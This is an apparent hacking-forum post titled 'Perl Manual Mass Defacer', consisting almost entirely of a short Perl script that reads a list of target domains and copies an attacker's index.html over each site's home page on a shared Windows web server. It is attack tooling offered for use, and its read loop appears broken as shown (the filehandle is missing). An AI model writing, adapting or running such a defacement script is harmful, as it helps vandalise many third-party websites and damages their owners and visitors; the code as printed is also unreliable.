• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl Manual Mass Defacer

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Code:
>
#!/usr/bin/perl
#Code By 3H34N

use File::Copy;

open (MYFILE, 'list_of_targets.txt') or die "$!";
while () {
  chomp;
  print " destination is $_\n";
  my $srcdir = "index.html";
  my $dest = "D:/inetpub/vhosts/$_/httpdocs/";
  copy($srcdir, $dest) or die "Copy $srcdir -> $dest failed: $!";
  print "\n\n****** file copied *******\n";
  sleep 2;
}
close(MYFILE);
 
Status
Not open for further replies.
Back
Top